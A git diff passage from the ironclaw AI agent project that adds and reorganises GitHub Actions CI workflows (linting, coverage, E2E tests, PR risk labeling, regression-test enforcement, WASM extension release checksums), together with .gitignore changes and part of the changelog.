src/safety/*|src/secrets/*|src/llm/session.rs|src/orchestrator/auth.rs|\ + src/channels/web/auth.rs|src/setup/*) + risk="high" + break # can't go higher + ;; + + # Medium risk: agent core, config, database, worker, tools, channels + src/agent/*|src/config.rs|src/settings.rs|src/db/*|src/worker/*|\ + src/tools/*|src/channels/*|src/orchestrator/*|src/context/*|\ + src/hooks/*|src/sandbox/*|src/extensions/*|Cargo.toml|\ + .github/workflows/*) + # Only upgrade, never downgrade + [[ "$risk" != "high" ]] && risk="medium" + ;; + + # Low risk: docs, tests, estimation, evaluation, history, etc. + *) + ;; + esac + done <<< "$files" + + echo "Risk: ${risk}" + set_exclusive_label "risk" "risk: ${risk}" +} + +# ─── contributor tier ─────────────────────────────────────────────────────── + +classify_contributor() { + # Get PR author + local author + author=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json author --jq '.author.login') + + # Count merged PRs by this author in this repo + local count + count=$(gh pr list --repo "$REPO" --state merged --author "$author" \ + --limit 100 --json number --jq 'length') + + local label + if (( count == 0 )); then label="contributor: new" + elif (( count < 6 )); then label="contributor: regular" + elif (( count < 20 )); then label="contributor: experienced" + else label="contributor: core" + fi + + echo "Contributor: ${author} has ${count} merged PRs -> ${label}" + set_exclusive_label "contributor" "$label" +} + +# ─── main ─────────────────────────────────────────────────────────────────── + +echo "Classifying PR #${PR_NUMBER} in ${REPO}..." +classify_size +classify_risk +classify_contributor +echo "Done." diff --git a/.github/workflows/code_style.yml b/.github/workflows/code_style.yml index 19f7d725..526c7740 100644 --- a/.github/workflows/code_style.yml +++ b/.github/workflows/code_style.yml @@ -3,8 +3,8 @@ on: pull_request: jobs: - codestyle: - name: Code Style (fmt + clippy) + format: + name: Formatting runs-on: ubuntu-latest steps: - name: Checkout repository @@ -12,11 +12,71 @@ jobs: - name: Install Rust uses: dtolnay/rust-toolchain@stable with: - profile: minimal - components: rustfmt, clippy - - uses: Swatinem/rust-cache@v2 + components: rustfmt - name: Check formatting - run: | - cargo fmt --all -- --check - - name: Check lints (cargo clippy) - run: cargo clippy -- -D warnings + run: cargo fmt --all -- --check + + clippy: + name: Clippy (${{ matrix.name }}) + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - name: all-features + flags: "--all-features" + - name: default + flags: "" + - name: libsql-only + flags: "--no-default-features --features libsql" + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Install Rust + uses: dtolnay/rust-toolchain@stable + with: + components: clippy + - uses: Swatinem/rust-cache@v2 + with: + key: clippy-${{ matrix.name }} + - name: Check lints + run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings + + clippy-windows: + name: Clippy Windows (${{ matrix.name }}) + runs-on: windows-latest + strategy: + fail-fast: false + matrix: + include: + - name: all-features + flags: "--all-features" + - name: default + flags: "" + - name: libsql-only + flags: "--no-default-features --features libsql" + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Install Rust + uses: dtolnay/rust-toolchain@stable + with: + components: clippy + - uses: Swatinem/rust-cache@v2 + with: + key: clippy-windows-${{ matrix.name }} + - name: Check lints + run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings + + # Roll-up job for branch protection + code-style: + name: Code Style (fmt + clippy) + runs-on: ubuntu-latest + if: always() + needs: [format, clippy, clippy-windows] + steps: + - run: | + if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" || "${{ needs.clippy-windows.result }}" != "success" ]]; then + echo "One or more jobs failed" + exit 1 + fi diff --git a/.github/workflows/coverage.yml b/.github/workflows/coverage.yml new file mode 100644 index 00000000..e7371677 --- /dev/null +++ b/.github/workflows/coverage.yml @@ -0,0 +1,226 @@ +# Code Coverage Workflow +# +# This workflow runs test coverage analysis and uploads reports to Codecov. +# Coverage reports help identify untested code paths and maintain code quality. +# +# What it does: +# - Runs unit and integration tests with coverage instrumentation +# - Runs E2E tests with coverage instrumentation +# - Uploads coverage reports to Codecov (https://codecov.io/gh/nearai/ironclaw) +# +# Viewing coverage reports: +# - PRs automatically get coverage comments showing changes in coverage +# - Visit https://codecov.io/gh/nearai/ironclaw for detailed coverage reports +# - Coverage reports are generated for three configurations: +# 1. all-features: Full feature set +# 2. default: Default features +# 3. libsql-only: Minimal libSQL-only configuration +# - E2E coverage tracks end-to-end test coverage separately +# +# Coverage files: +# - Unit/integration: lcov.info (uploaded to Codecov with "unit" flag) +# - E2E: e2e-coverage.info (uploaded to Codecov with "e2e" flag) +# +# Requirements: +# - Uses cargo-llvm-cov for coverage instrumentation +# - Requires PostgreSQL for integration tests (pgvector/pgvector:pg16) +# - E2E tests require Python 3.12 and Playwright + +name: Code Coverage +on: + push: + branches: [main] + +permissions: + id-token: write + contents: read + +jobs: + coverage: + name: Coverage (${{ matrix.name }}) + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - name: all-features + flags: "--all-features" + has_postgres: true + - name: default + flags: "" + has_postgres: true + - name: libsql-only + flags: "--no-default-features --features libsql" + has_postgres: false + services: + postgres: + image: pgvector/pgvector:pg16 + env: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + POSTGRES_DB: ironclaw_test + ports: + - 5432:5432 + options: >- + --health-cmd "pg_isready -U postgres" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + steps: + - uses: actions/checkout@v6 + + - uses: dtolnay/rust-toolchain@stable + with: + components: llvm-tools-preview + targets: wasm32-wasip2 + + - uses: Swatinem/rust-cache@v2 + with: + key: coverage-${{ matrix.name }} + + - name: Install cargo-llvm-cov + uses: taiki-e/install-action@cargo-llvm-cov + + - name: Install cargo-component + run: | + if ! command -v cargo-component >/dev/null 2>&1; then + cargo install cargo-component --locked + fi + + - name: Build WASM channels (for integration tests) + run: ./scripts/build-wasm-extensions.sh --channels + + - name: Run database migrations + if: matrix.has_postgres + run: | + set -euo pipefail + readarray -t migration_files < <(printf '%s\n' migrations/V*.sql | sort -V) + for f in "${migration_files[@]}"; do + echo "Applying $f..." + psql -v ON_ERROR_STOP=1 -f "$f" + done + env: + PGHOST: localhost + PGUSER: postgres + PGPASSWORD: postgres + PGDATABASE: ironclaw_test + + - name: Set DATABASE_URL for postgres configs + if: matrix.has_postgres + run: echo "DATABASE_URL=postgres://postgres:postgres@localhost/ironclaw_test" >> "$GITHUB_ENV" + + - name: Generate coverage + run: cargo llvm-cov ${{ matrix.flags }} --workspace --lcov --output-path lcov.info + + - name: Upload to Codecov + uses: codecov/codecov-action@v5 + with: + files: lcov.info + flags: ${{ matrix.name }} + disable_search: true + use_oidc: true + fail_ci_if_error: true + + e2e-coverage: + name: E2E Coverage + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v6 + + - uses: dtolnay/rust-toolchain@stable + with: + components: llvm-tools-preview + targets: wasm32-wasip2 + + - uses: Swatinem/rust-cache@v2 + with: + key: e2e-coverage + + - name: Install cargo-llvm-cov + uses: taiki-e/install-action@cargo-llvm-cov + + - name: Install cargo-component + run: | + if ! command -v cargo-component >/dev/null 2>&1; then + cargo install cargo-component --locked + fi + + - name: Build WASM channels + run: ./scripts/build-wasm-extensions.sh --channels + + - name: Set up coverage instrumentation + run: | + # show-env outputs shell-quoted values (KEY='value') but GITHUB_ENV + # expects unquoted KEY=value. Strip only the wrapping single quotes + # from KEY='value' lines without altering any internal characters. + cargo llvm-cov show-env | sed -E "s/^([A-Za-z_][A-Za-z0-9_]*)='(.*)'$/\1=\2/" >> "$GITHUB_ENV" + + - name: Clean coverage workspace + run: cargo llvm-cov clean --workspace + + - name: Build instrumented binary + run: cargo build --no-default-features --features libsql + + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install E2E dependencies + run: | + cd tests/e2e + pip install -e . + playwright install --with-deps chromium + + - name: Run E2E tests + run: | + pytest tests/e2e/ -v -x --timeout=120 + env: + RUST_LOG: ironclaw=info + RUST_BACKTRACE: "1" + + - name: Verify profraw files exist + if: always() + run: | + echo "LLVM_PROFILE_FILE=${LLVM_PROFILE_FILE}" + echo "CARGO_LLVM_COV_TARGET_DIR=${CARGO_LLVM_COV_TARGET_DIR}" + profraw_count=$(find target/ -name '*.profraw' 2>/dev/null | wc -l) + echo "Found ${profraw_count} .profraw files under target/" + find target/ -name '*.profraw' 2>/dev/null || true + if [ "$profraw_count" -eq 0 ]; then + echo "::warning::No .profraw files found — coverage report will fail" + fi + + - name: Generate coverage report + if: always() + run: cargo llvm-cov report --lcov --output-path e2e-coverage.info + + - name: Upload to Codecov + if: always() + uses: codecov/codecov-action@v5 + with: + files: e2e-coverage.info + flags: e2e + disable_search: true + use_oidc: true + fail_ci_if_error: true + + - name: Upload screenshots on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: e2e-screenshots + path: tests/e2e/screenshots/ + if-no-files-found: ignore + + coverage-gate: + name: Coverage + runs-on: ubuntu-latest + if: always() + needs: [coverage, e2e-coverage] + steps: + - run: | + if [[ "${{ needs.coverage.result }}" != "success" || "${{ needs.e2e-coverage.result }}" != "success" ]]; then + echo "One or more coverage jobs failed" + exit 1 + fi diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml new file mode 100644 index 00000000..3dc95a2d --- /dev/null +++ b/.github/workflows/e2e.yml @@ -0,0 +1,99 @@ +name: E2E Tests +on: + schedule: + - cron: "0 6 * * 1" # Weekly Monday 6 AM UTC + workflow_dispatch: + pull_request: + paths: + - "src/channels/web/**" + - "tests/e2e/**" + +jobs: + # ── Step 1: compile once ────────────────────────────────────────────────── + build: + name: Build ironclaw (libsql) + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v6 + + - uses: dtolnay/rust-toolchain@stable + + - uses: actions/cache@v4 + with: + path: | + target + ~/.cargo/registry + key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }} + + - name: Build + run: cargo build --no-default-features --features libsql + + - name: Upload binary + uses: actions/upload-artifact@v4 + with: + name: ironclaw-e2e-binary + path: target/debug/ironclaw + retention-days: 1 + + # ── Step 2: run test slices in parallel ─────────────────────────────────── + test: + name: E2E (${{ matrix.group }}) + needs: build + runs-on: ubuntu-latest + timeout-minutes: 30 + strategy: + fail-fast: false + matrix: + include: + - group: core + files: "tests/e2e/scenarios/test_connection.py tests/e2e/scenarios/test_chat.py tests/e2e/scenarios/test_sse_reconnect.py tests/e2e/scenarios/test_html_injection.py" + - group: features + files: "tests/e2e/scenarios/test_skills.py tests/e2e/scenarios/test_tool_approval.py" + - group: extensions + files: "tests/e2e/scenarios/test_extensions.py" + steps: + - uses: actions/checkout@v6 + + - name: Download binary + uses: actions/download-artifact@v4 + with: + name: ironclaw-e2e-binary + path: target/debug/ + + - name: Make binary executable + run: chmod +x target/debug/ironclaw + + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install E2E dependencies + run: | + cd tests/e2e + pip install -e . + playwright install --with-deps chromium + + - name: Run E2E tests (${{ matrix.group }}) + run: pytest ${{ matrix.files }} -v --timeout=120 + + - name: Upload screenshots on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: e2e-screenshots-${{ matrix.group }} + path: tests/e2e/screenshots/ + if-no-files-found: ignore + + # ── Roll-up for branch protection ──────────────────────────────────────── + e2e: + name: E2E Tests + runs-on: ubuntu-latest + if: always() + needs: [test] + steps: + - run: | + if [[ "${{ needs.test.result }}" != "success" ]]; then + echo "One or more E2E jobs failed" + exit 1 + fi diff --git a/.github/workflows/pr-label-classify.yml b/.github/workflows/pr-label-classify.yml new file mode 100644 index 00000000..90f141de --- /dev/null +++ b/.github/workflows/pr-label-classify.yml @@ -0,0 +1,26 @@ +name: "PR: Classify (Size, Risk, Contributor)" + +on: + pull_request_target: + types: [opened, synchronize, reopened] + +permissions: + contents: read + pull-requests: write + issues: read # needed for search/issues API (contributor count) + +jobs: + classify: + runs-on: ubuntu-latest + steps: + - name: Checkout base branch + uses: actions/checkout@v4 + with: + ref: ${{ github.event.pull_request.base.ref }} + + - name: Classify PR + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PR_NUMBER: ${{ github.event.pull_request.number }} + REPO: ${{ github.repository }} + run: bash .github/scripts/pr-labeler.sh diff --git a/.github/workflows/pr-label-scope.yml b/.github/workflows/pr-label-scope.yml new file mode 100644 index 00000000..1c388561 --- /dev/null +++ b/.github/workflows/pr-label-scope.yml @@ -0,0 +1,18 @@ +name: "PR: Scope Labels" + +on: + pull_request_target: + types: [opened, synchronize, reopened] + +permissions: + contents: read + pull-requests: write + +jobs: + scope: + runs-on: ubuntu-latest + steps: + - uses: actions/labeler@v5 + with: + configuration-path: .github/labeler.yml + sync-labels: false # additive only — never remove scope labels diff --git a/.github/workflows/regression-test-check.yml b/.github/workflows/regression-test-check.yml new file mode 100644 index 00000000..18b8c76f --- /dev/null +++ b/.github/workflows/regression-test-check.yml @@ -0,0 +1,107 @@ +name: Regression Test Check + +on: + pull_request: + +jobs: + regression-test: + name: Regression test enforcement + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Check for regression tests + env: + PR_TITLE: ${{ github.event.pull_request.title }} + PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }} + run: | + set -euo pipefail + + BASE_REF="origin/${{ github.event.pull_request.base.ref }}" + + # --- 1. Is this a fix PR? Check title first, then commit messages --- + IS_FIX=false + + if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$PR_TITLE"; then + IS_FIX=true + fi + + if [ "$IS_FIX" = false ]; then + COMMITS=$(git log --format='%s' "${BASE_REF}..HEAD") + if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$COMMITS"; then + IS_FIX=true + fi + fi + + if [ "$IS_FIX" = false ]; then + echo "Not a fix PR — skipping regression test check." + exit 0 + fi + + echo "Fix PR detected." + + # --- 2. Skip label or commit message marker --- + if grep -qF ',skip-regression-check,' <<< ",$PR_LABELS,"; then + echo "skip-regression-check label present — skipping." + exit 0 + fi + + COMMIT_BODIES=$(git log --format='%B' "${BASE_REF}..HEAD") + if grep -qF '[skip-regression-check]' <<< "$COMMIT_BODIES"; then + echo "[skip-regression-check] found in commit message — skipping." + exit 0 + fi + + # --- 3. Exempt static-only / docs-only changes --- + CHANGED_FILES=$(git diff --name-only "${BASE_REF}...HEAD") + + if [ -z "$CHANGED_FILES" ]; then + echo "No changed files — skipping." + exit 0 + fi + + ALL_EXEMPT=true + while IFS= read -r file; do + case "$file" in + src/channels/web/static/*) ;; + *.md) ;; + *) ALL_EXEMPT=false; break ;; + esac + done <<< "$CHANGED_FILES" + + if [ "$ALL_EXEMPT" = true ]; then + echo "All changes are static assets or docs — skipping." + exit 0 + fi + + # --- 4. Look for test changes --- + + # Fast path: new test attributes or test modules in added lines. + if git diff "${BASE_REF}...HEAD" -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then + echo "Test changes found in .rs files." + exit 0 + fi + + # Whole-function context: detect edits inside existing test functions. + if git diff "${BASE_REF}...HEAD" -W -- '*.rs' | awk ' + /^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 } + /^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 } + /^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 } + /^\+[^+]/ { has_add=1 } + END { if (has_test && has_add) found=1; exit !found } + '; then + echo "Test changes found in existing test functions." + exit 0 + fi + + if grep -qE '^tests/' <<< "$CHANGED_FILES"; then + echo "Test file changes found under tests/." + exit 0 + fi + + # --- 5. No tests found --- + echo "::warning::This PR looks like a bug fix but contains no test changes. Every fix should include a regression test. Add a #[test] or #[tokio::test], or apply the 'skip-regression-check' label if not feasible." + exit 1 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 0be3140a..34eb554d 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -89,10 +89,12 @@ jobs: # Build and packages all the platform-specific things build-local-artifacts: name: build-local-artifacts (${{ join(matrix.targets, ', ') }}) - # Let the initial task tell us to not run (currently very blunt) + # Wait for WASM extensions so we can patch manifests with SHA256 checksums + # before build.rs bakes them into the embedded catalog. needs: - plan - if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') }} + - build-wasm-extensions + if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }} strategy: fail-fast: false # Target platforms/runners are computed by dist in create-release. @@ -139,6 +141,28 @@ jobs: pattern: artifacts-* path: target/distrib/ merge-multiple: true + - name: Patch manifests with WASM checksums + if: ${{ needs.plan.outputs.publishing == 'true' }} + shell: bash + run: | + CHECKSUMS="target/distrib/checksums.txt" + if [ ! -f "$CHECKSUMS" ]; then + echo "No checksums.txt found, skipping manifest patching" + exit 0 + fi + + while IFS= read -r line; do + sha256=$(echo "$line" | awk '{print $1}') + filename=$(echo "$line" | awk '{print $2}') + name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//') + + for manifest in registry/tools/${name}.json registry/channels/${name}.json; do + if [ -f "$manifest" ]; then + jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest" + echo "Patched $manifest with sha256=$sha256" + fi + done + done < "$CHECKSUMS" - name: Install dependencies run: | ${{ matrix.packages_install }} @@ -214,14 +238,113 @@ jobs: path: | ${{ steps.cargo-dist.outputs.paths }} ${{ env.BUILD_MANIFEST_NAME }} + # Build WASM extension bundles (tar.gz with .wasm + .capabilities.json) + build-wasm-extensions: + needs: + - plan + if: ${{ needs.plan.outputs.publishing == 'true' }} + runs-on: "ubuntu-22.04" + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + steps: + - uses: actions/checkout@v4 + with: + persist-credentials: false + submodules: recursive + - name: Install Rust toolchain + wasm target + run: | + rustup target add wasm32-wasip2 + cargo install cargo-component --locked || true + - uses: swatinem/rust-cache@v2 + with: + key: wasm-extensions + - name: Build and package WASM extensions + shell: bash + run: | + set -euo pipefail + mkdir -p target/wasm-bundles + + # Process each manifest in registry/tools/ and registry/channels/ + for manifest in registry/tools/*.json registry/channels/*.json; do + [ -f "$manifest" ] || continue + + name=$(jq -r '.name' "$manifest") + source_dir=$(jq -r '.source.dir' "$manifest") + caps_file=$(jq -r '.source.capabilities' "$manifest") + crate_name=$(jq -r '.source.crate_name' "$manifest") + + if [ ! -d "$source_dir" ]; then + echo "::warning::Source dir '$source_dir' not found for '$name', skipping" + continue + fi + + echo "=== Building $name from $source_dir ===" + + # Build WASM component + cargo component build --release --manifest-path "$source_dir/Cargo.toml" || { + echo "::warning::Build failed for '$name', skipping" + continue + } + + # Find the built WASM file (Cargo uses underscores in artifact names) + wasm_artifact="${crate_name//-/_}" + wasm_path="" + for target_dir in wasm32-wasip2 wasm32-wasip1 wasm32-wasi; do + candidate="$source_dir/target/$target_dir/release/${wasm_artifact}.wasm" + if [ -f "$candidate" ]; then + wasm_path="$candidate" + break + fi + done + + if [ -z "$wasm_path" ]; then + echo "::warning::No WASM output found for '$name', skipping" + continue + fi + + # Copy files with standardized names for the archive + cp "$wasm_path" "target/wasm-bundles/${name}.wasm" + + caps_path="$source_dir/$caps_file" + if [ -f "$caps_path" ]; then + cp "$caps_path" "target/wasm-bundles/${name}.capabilities.json" + else + echo "::warning::No capabilities file at '$caps_path' for '$name'" + fi + + # Create tar.gz bundle + bundle="target/wasm-bundles/${name}-wasm32-wasip2.tar.gz" + (cd target/wasm-bundles && if [ -f "${name}.capabilities.json" ]; then tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm" "${name}.capabilities.json"; else tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm"; fi) + + # Compute SHA256 + sha256=$(sha256sum "$bundle" | cut -d' ' -f1) + echo "$sha256 ${name}-wasm32-wasip2.tar.gz" >> target/wasm-bundles/checksums.txt + + # Clean up intermediate files + rm -f "target/wasm-bundles/${name}.wasm" "target/wasm-bundles/${name}.capabilities.json" + + echo " -> $bundle ($sha256)" + done + + echo "=== WASM bundles built ===" + ls -la target/wasm-bundles/ + - name: "Upload WASM bundles" + uses: actions/upload-artifact@v4 + with: + name: artifacts-wasm-extensions + path: | + target/wasm-bundles/*.tar.gz + target/wasm-bundles/checksums.txt + # Determines if we should publish/announce host: needs: - plan - build-local-artifacts - build-global-artifacts - # Only run if we're "publishing", and only if plan, local and global didn't fail (skipped is fine) - if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') }} + - build-wasm-extensions + # Only run if we're "publishing", and only if plan, local, global, and wasm didn't fail (skipped is fine) + if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }} env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} runs-on: "ubuntu-22.04" @@ -281,6 +404,69 @@ jobs: gh release create "${{ needs.plan.outputs.tag }}" --target "$RELEASE_COMMIT" $PRERELEASE_FLAG --title "$ANNOUNCEMENT_TITLE" --notes-file "$RUNNER_TEMP/notes.txt" artifacts/* + # Commit patched manifest SHA256 checksums back to main so the repo + # stays in sync with the released artifacts. + update-registry-checksums: + needs: + - plan + - host + - build-wasm-extensions + if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }} + runs-on: "ubuntu-22.04" + permissions: + contents: write + pull-requests: write + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + steps: + - uses: actions/checkout@v4 + with: + ref: main + - name: Fetch WASM checksums + uses: actions/download-artifact@v4 + with: + name: artifacts-wasm-extensions + path: target/wasm-bundles/ + - name: Patch manifests with SHA256 + shell: bash + run: | + CHECKSUMS="target/wasm-bundles/checksums.txt" + if [ ! -f "$CHECKSUMS" ]; then + echo "No checksums.txt found" + exit 0 + fi + + while IFS= read -r line; do + sha256=$(echo "$line" | awk '{print $1}') + filename=$(echo "$line" | awk '{print $2}') + name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//') + + for manifest in registry/tools/${name}.json registry/channels/${name}.json; do + if [ -f "$manifest" ]; then + jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest" + echo "Patched $manifest with sha256=$sha256" + fi + done + done < "$CHECKSUMS" + - name: Create PR with updated manifests + run: | + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + git add registry/ + if git diff --cached --quiet; then + echo "No manifest changes to commit" + else + BRANCH="chore/update-checksums-$(date +%s)" + git checkout -b "$BRANCH" + git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]" + git push origin "$BRANCH" + gh pr create \ + --title "chore: update WASM artifact SHA256 checksums" \ + --body "Auto-generated by release CI. Updates SHA256 checksums in registry manifests to match the released WASM artifacts." \ + --base main \ + --head "$BRANCH" + fi + announce: needs: - plan diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 13fc8410..8f0fd2bb 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -7,7 +7,73 @@ on: jobs: tests: - name: Run Tests + name: Tests (${{ matrix.name }}) + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - name: all-features + flags: "--features postgres,libsql,html-to-markdown" + - name: default + flags: "" + - name: libsql-only + flags: "--no-default-features --features libsql" + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Install Rust + uses: dtolnay/rust-toolchain@stable + with: + targets: wasm32-wasip2 + - uses: Swatinem/rust-cache@v2 + with: + key: ${{ matrix.name }} + - name: Install cargo-component + run: cargo install cargo-component --locked || true + - name: Build WASM channels (for integration tests) + run: ./scripts/build-wasm-extensions.sh --channels + - name: Run Tests + run: cargo test ${{ matrix.flags }} -- --nocapture + + telegram-tests: + name: Telegram Channel Tests + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Install Rust + uses: dtolnay/rust-toolchain@stable + - uses: Swatinem/rust-cache@v2 + - name: Run Telegram Channel Tests + run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture + + windows-build: + name: Windows Build (${{ matrix.name }}) + runs-on: windows-latest + strategy: + fail-fast: false + matrix: + include: + - name: all-features + flags: "--all-features" + - name: default + flags: "" + - name: libsql-only + flags: "--no-default-features --features libsql" + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Install Rust + uses: dtolnay/rust-toolchain@stable + - uses: Swatinem/rust-cache@v2 + with: + key: windows-${{ matrix.name }} + - name: Check compilation + run: cargo check --all --benches --tests --examples ${{ matrix.flags }} + + wasm-wit-compat: + name: WASM WIT Compatibility runs-on: ubuntu-latest steps: - name: Checkout repository @@ -15,7 +81,54 @@ jobs: - name: Install Rust uses: dtolnay/rust-toolchain@stable with: - profile: minimal + targets: wasm32-wasip2 - uses: Swatinem/rust-cache@v2 - - name: Run Tests - run: cargo test --all-features -- --nocapture + with: + key: wasm-extensions + - name: Install cargo-component + run: cargo install cargo-component --locked || true + - name: Build all WASM extensions against current WIT + run: ./scripts/build-wasm-extensions.sh + - name: Instantiation test (host linker compatibility) + run: cargo test --all-features wit_compat -- --nocapture + + docker-build: + name: Docker Build + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Build Docker image + run: docker build -t ironclaw-test:ci . + + version-check: + name: Version Bump Check + runs-on: ubuntu-latest + if: github.event_name == 'pull_request' + steps: + - name: Checkout repository + uses: actions/checkout@v6 + with: + fetch-depth: 0 + - name: Check version bumps for changed extensions + env: + PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }} + run: ./scripts/check-version-bumps.sh + + # Roll-up job for branch protection + run-tests: + name: Run Tests + runs-on: ubuntu-latest + if: always() + needs: [tests, telegram-tests, wasm-wit-compat, docker-build, windows-build, version-check] + steps: + - run: | + if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.wasm-wit-compat.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" || "${{ needs.windows-build.result }}" != "success" ]]; then + echo "One or more jobs failed" + exit 1 + fi + # version-check only runs on PRs, so skip/success are both acceptable + if [[ "${{ needs.version-check.result }}" == "failure" ]]; then + echo "Version bump check failed" + exit 1 + fi diff --git a/.gitignore b/.gitignore index 8b12dcb8..17bdb86d 100644 --- a/.gitignore +++ b/.gitignore @@ -4,8 +4,9 @@ .env.* !.env.example -# Claude Code worktrees +# Claude Code worktrees and lock files .claude/worktrees/ +.claude/scheduled_tasks.lock # Sidecar tool data .sidecar/ @@ -16,6 +17,10 @@ target/ # Benchmark results (local runs, not committed) bench-results/ +# Coverage reports (local runs, not committed) +/coverage/ + # WASM build artifacts (loaded from disk, not bundled) *.wasm +trace_*.json diff --git a/CHANGELOG.md b/CHANGELOG.md index a8744f15..5f51e62b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,321 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [0.16.1](https://github.com/nearai/ironclaw/compare/v0.16.0...v0.16.1) - 2026-03-06 + +### Fixed + +- revert WASM artifact SHA256 checksums to null ([#627](https://github.com/nearai/ironclaw/pull/627)) + +## [0.16.0](https://github.com/nearai/ironclaw/compare/v0.15.0...v0.16.0) - 2026-03-06 + +### Added + +- *(e2e)* extensions tab tests, CI parallelization, and 3 production bug fixes ([#584](https://github.com/nearai/ironclaw/pull/584)) +- WASM extension versioning with WIT compat checks ([#592](https://github.com/nearai/ironclaw/pull/592)) +- Add HMAC-SHA256 webhook signature validation for Slack ([#588](https://github.com/nearai/ironclaw/pull/588)) +- restart ([#531](https://github.com/nearai/ironclaw/pull/531)) +- merge http/web_fetch tools, add tool output stash for large responses ([#578](https://github.com/nearai/ironclaw/pull/578)) +- integrate 13-dimension complexity scorer into smart routing ([#529](https://github.com/nearai/ironclaw/pull/529)) + +### Fixed + +- *(llm)* fix reasoning model response parsing bugs ([#564](https://github.com/nearai/ironclaw/pull/564)) ([#580](https://github.com/nearai/ironclaw/pull/580)) +- *(ci)* fix three coverage workflow failures ([#597](https://github.com/nearai/ironclaw/pull/597)) +- Telegram channel accepts group messages from all users if owner_… ([#590](https://github.com/nearai/ironclaw/pull/590)) +- *(ci)* anchor coverage/ gitignore rule to repo root ([#591](https://github.com/nearai/ironclaw/pull/591)) +- *(security)* use OsRng for all security-critical key and token generation ([#519](https://github.com/nearai/ironclaw/pull/519)) +- prevent concurrent memory hygiene passes and Windows file lock errors ([#535](https://github.com/nearai/ironclaw/pull/535)) +- sort tool_definitions() for deterministic LLM tool ordering ([#582](https://github.com/nearai/ironclaw/pull/582)) +- *(ci)* persist all cargo-llvm-cov env vars for E2E coverage 